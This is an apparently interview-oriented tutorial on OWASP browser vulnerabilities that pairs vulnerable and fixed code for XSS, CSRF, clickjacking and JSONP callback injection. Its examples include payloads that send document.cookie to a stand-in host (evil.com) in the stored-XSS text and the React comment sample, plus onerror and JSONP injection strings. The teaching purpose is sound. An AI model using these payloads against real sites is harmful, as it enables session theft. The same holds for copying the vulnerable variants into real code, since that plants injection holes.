Skip to main content

OWASP browser vulnerabilities

OWASP browser vulnerabilities are client-side security flaws in web applications that attackers exploit through the browser to steal cookies, hijack sessions, or force users into actions they never intended.

Theory

TL;DR

  • XSS: attacker plants a <script> tag in your DOM; browser executes it with full access to cookies and localStorage
  • CSRF: attacker tricks the browser into sending a real authenticated request by exploiting automatic cookie attachment
  • Clickjacking: transparent iframe sits over a real button so a "claim prize" click lands on "confirm payment" instead
  • Fix XSS: use textContent or DOMPurify; avoid innerHTML with user input; add CSP with nonces
  • Fix CSRF: SameSite=Strict on session cookies; add CSRF tokens for forms that still need cross-origin access

Quick example

html
<input id="q" placeholder="Search..."> <div id="result"></div> <script> // VULNERABLE: innerHTML sends the string to the HTML parser // Input: <img src=x onerror=alert(document.cookie)> // Result: browser fires onerror, cookie leaked document.getElementById('q').oninput = (e) => { document.getElementById('result').innerHTML = e.target.value; }; // SAFE: textContent skips the parser entirely // Input: <img src=x onerror=alert(document.cookie)> // Result: literal string displayed, nothing executes document.getElementById('q').oninput = (e) => { document.getElementById('result').textContent = e.target.value; }; </script>

innerHTML passes the value to Chrome's HTML parser, which builds DOM nodes and fires event attributes like onerror. textContent creates a plain text node. No parsing, no execution.

XSS variants

Stored XSS saves the payload to the database. A comment stored as <script>fetch('https://evil.com?c='+document.cookie)</script> fires for every user who loads the page, not just whoever clicked a link. This is the most damaging variant because it scales automatically.

Reflected XSS lives in the URL. The server echoes a query parameter back into the HTML without escaping it, and the browser executes it. Classic setup: ?q=<script>alert(1)</script> rendered directly into a page template.

DOM-based XSS never touches the server. The payload travels in the URL hash, and client-side JavaScript reads location.hash and writes it to the DOM. The server never sees #, so server-side sanitization misses it completely. You have to sanitize on the client.

CSRF: the browser as an unwitting messenger

Browsers attach matching cookies to every request, no matter where that request originated. CSRF exploits this. An attacker hosts a page that fires a POST to https://yourbank.com/transfer?amount=5000&to=attacker. The victim visits it while logged in, and the browser sends the session cookie without hesitation.

Setting SameSite=Strict on session cookies tells the browser to skip cookies on any cross-origin request. That blocks the attack before the server even sees it. For APIs that still need cross-origin calls, pair SameSite=Lax with a CSRF token: a secret embedded in the form, verified server-side before processing.

Clickjacking: what you see vs. what you click

The attacker loads your page in a transparent iframe placed precisely over a "win a prize" button on their own page. The user clicks what they think is the prize button. They actually activate "confirm transfer" on yours.

Setting X-Frame-Options: DENY tells browsers to refuse rendering your page inside any frame. The modern replacement is Content-Security-Policy: frame-ancestors 'none', which gives the same result and is easier to scope per route.

Attack overview

AttackEntry pointWhat attacker getsFix
Stored XSSDatabaseRuns on every page load for all usersDOMPurify, textContent, CSP
Reflected XSSURL parameterRuns when victim clicks attacker's linkServer-side escaping, CSP
DOM-based XSSURL hash/fragmentRuns client-side, server never sees itClient sanitization, textContent
CSRFCross-origin form or fetchPerforms actions as the logged-in userSameSite=Strict, CSRF tokens
Clickjackingiframe overlayVictim clicks without knowingX-Frame-Options, frame-ancestors
MITMNetwork trafficReads or modifies all data in transitHTTPS, HSTS
SQL injectionQuery string concatenationDB read, write, or deleteParameterized queries, ORM

When to apply which fix

  • User text rendered as HTML → DOMPurify.sanitize() before innerHTML; switch to textContent if rich formatting is not needed
  • State-changing endpoints (POST, PUT, DELETE) → SameSite=Strict cookies plus a server-side CSRF token
  • Third-party scripts or ads → CSP that whitelists specific domains with a nonce per request
  • Any page that can be embedded in an iframe → X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none'
  • Node.js dependencies → npm audit in CI; replace packages with open CVEs before they get exploited

How the browser processes injected markup

Chrome's HTML parser reads the document left to right and builds the DOM tree node by node. When it finds an unescaped <script> tag or an event attribute like onerror, it queues the contained JavaScript in the event loop. That script runs inside the page's execution context with full access to document.cookie, window.localStorage, and every DOM element. The Same-Origin Policy blocks cross-origin reads, but a script already running inside your origin is not subject to that restriction. That is the entire threat model for XSS.

Common mistakes

Sanitizing on the server, inserting raw HTML on the client. Server sends &lt;script&gt;, client runs element.innerHTML = data. The HTML parser decodes &lt; back to < and executes the tag. Server escaping works only if you also use textContent client-side, or pass through DOMPurify before touching innerHTML. I have seen this exact pattern in dozens of code reviews: the server-side escape was correct, added two years earlier, and then someone introduced innerHTML in a new component without realizing sanitization had already moved elsewhere.

javascript
// Bug: server escapes correctly, client unescapes it const safeFromServer = '&lt;script&gt;alert(1)&lt;/script&gt;'; element.innerHTML = safeFromServer; // Browser re-parses, script fires // Fix element.textContent = safeFromServer; // Literal text, nothing executes

CSP with unsafe-inline. Adding script-src 'unsafe-inline' to your Content Security Policy nullifies the protection. Inline <script> blocks still execute. Use nonces instead:

html
<!-- Server generates a fresh nonce each request --> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-rAnd0m123'"> <!-- Only scripts with this exact nonce run --> <script nonce="rAnd0m123"> // legitimate code </script>

Forgetting DOM-based XSS from URL fragments. #<img src=x onerror=alert(1)> bypasses the server completely because hash values are never sent in HTTP requests. If your code reads location.hash and writes to the DOM, sanitize on the client:

javascript
// Vulnerable const payload = location.hash.slice(1); document.getElementById('content').innerHTML = payload; // Safe import DOMPurify from 'dompurify'; const payload = decodeURIComponent(location.hash.slice(1)); document.getElementById('content').innerHTML = DOMPurify.sanitize(payload);

HttpOnly without Secure. HttpOnly stops JavaScript from reading cookies. But over plain HTTP a network-level attacker can still intercept them. The complete combination is:

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

Missing CSRF protection on state-changing endpoints. GET requests must never change state. POST, PUT, and DELETE need either SameSite=Strict cookies or a server-verified CSRF token. Checking only the Referer header is not reliable, because proxies and privacy tools strip it.

Real-world usage

  • React: dangerouslySetInnerHTML only with DOMPurify.sanitize(text), common in Markdown renderers for blog platforms
  • Express: helmet middleware sets CSP, X-Frame-Options, HSTS, and other security headers with one call
  • Angular: escapes template bindings automatically; DomSanitizer.bypassSecurityTrustHtml() in a code review is a red flag worth stopping for
  • Vue: v-html carries the same risk as dangerouslySetInnerHTML; sanitize before passing the value
  • CI/CD: OWASP ZAP can scan for XSS and injection issues automatically on each deployment

Follow-up questions

Q: What is the difference between Stored, Reflected, and DOM-based XSS?
A: Stored lives in the database and runs for every visitor. Reflected needs the victim to click a crafted URL. DOM-based never reaches the server; the payload is in the URL hash and client JavaScript writes it to the DOM.

Q: How does CSP limit XSS?
A: CSP whitelists which sources the browser can load scripts from. script-src 'self' blocks anything not from your own origin, including inline tags and eval. A nonce ties each allowed inline script to a per-request random value, so even if an attacker injects a <script> tag, it has no valid nonce and the browser refuses to run it.

Q: How do you mitigate CSRF without tokens?
A: SameSite=Strict cookies prevent the browser from sending credentials on any cross-origin request. A custom header like X-Requested-With: XMLHttpRequest also works because a simple cross-origin form cannot set custom headers without triggering a CORS preflight.

Q: What prevents clickjacking when CSP is not configured?
A: X-Frame-Options: DENY is the fallback. It instructs browsers to refuse loading the page inside any iframe. SAMEORIGIN allows framing from the same domain only. The CSP frame-ancestors directive is the modern equivalent and supports more granular rules.

Q: A candidate says "sanitize inputs to prevent XSS." What does a senior-level answer add?
A: Context-aware escaping. The same string needs different treatment depending on where it lands: HTML body, HTML attribute value, JavaScript string literal, URL parameter, or CSS property. A payload harmless in one context is dangerous in another. DOMPurify handles this correctly; hand-rolled regex almost never does.

Q: Design a comment system with Markdown and emoji support that is safe against XSS.
A: Parse Markdown server-side with a library like markdown-it configured to strip raw HTML tags. Send the resulting HTML to the client. On the client, pass it through DOMPurify before inserting into the DOM. Serve pages with a CSP using per-request nonces and no unsafe-inline. Rate-limit post submissions and log payloads that triggered sanitization for later review.

Examples

Basic XSS: vulnerable vs. safe search input

html
<!DOCTYPE html> <html> <body> <input id="search" placeholder="Search..."> <div id="result"></div> <script> const result = document.getElementById('result'); const input = document.getElementById('search'); // VULNERABLE: HTML parser builds real nodes from the string // Try: <img src=x onerror=alert(document.cookie)> // Result: onerror fires and leaks the cookie input.oninput = (e) => { result.innerHTML = e.target.value; }; // SAFE: no parsing, just a text node // Try: <img src=x onerror=alert(document.cookie)> // Result: literal string appears, nothing runs input.oninput = (e) => { result.textContent = e.target.value; }; </script> </body> </html>

The core difference: innerHTML asks the HTML parser to interpret the string. textContent creates a text node directly. One path leads to code execution, the other does not.

React production pattern: comments with rich text

jsx
import DOMPurify from 'dompurify'; // npm install dompurify // VULNERABLE: user-controlled HTML rendered without sanitization function CommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: c.text }} // c.text from DB: '<img src=x onerror=fetch("https://evil.com?c="+document.cookie)>' // Every visitor leaks their session cookie to the attacker /> ))} </ul> ); } // SAFE: DOMPurify strips event handlers and dangerous attributes function SafeCommentList({ comments }) { return ( <ul> {comments.map(c => ( <li key={c.id} dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(c.text) }} // onerror, onclick, and javascript: URLs stripped before render // Safe HTML like <strong> or <em> passes through unchanged /> ))} </ul> ); }

The name dangerouslySetInnerHTML was chosen deliberately. React wants you to pause here. If the content comes from users or an untrusted API, DOMPurify goes between the data and the prop. Most XSS bugs in React apps appear not on the initial write but months later when someone adds innerHTML in a new component without checking whether sanitization was already handled upstream.

Advanced: JSONP callback injection

javascript
// Express handler - VULNERABLE // Attacker calls: GET /api/data?callback=alert(document.cookie)// app.get('/api/data', (req, res) => { const callback = req.query.callback; res.setHeader('Content-Type', 'application/javascript'); // Outputs: alert(document.cookie)//({data:'safe'}); // Browser loads this as a <script> tag and executes it res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); }); // SAFE: whitelist valid callback names const ALLOWED_CALLBACKS = new Set(['onDataLoaded', 'handleResult']); app.get('/api/data', (req, res) => { const callback = req.query.callback; if (!ALLOWED_CALLBACKS.has(callback)) { return res.status(400).json({ error: 'Invalid callback name' }); } res.setHeader('Content-Type', 'application/javascript'); res.send(`${callback}(${JSON.stringify({ data: 'safe' })});`); });

JSONP is mostly a legacy pattern that CORS replaced, but it still appears in codebases that predate 2015 and were never fully migrated. The callback parameter is a direct code execution path if echoed without validation. A whitelist blocks it. If you control both client and server, drop JSONP entirely and configure CORS properly.

Short Answer

Interview ready
Premium

A concise answer to help you respond confidently on this topic during an interview.

Finished reading?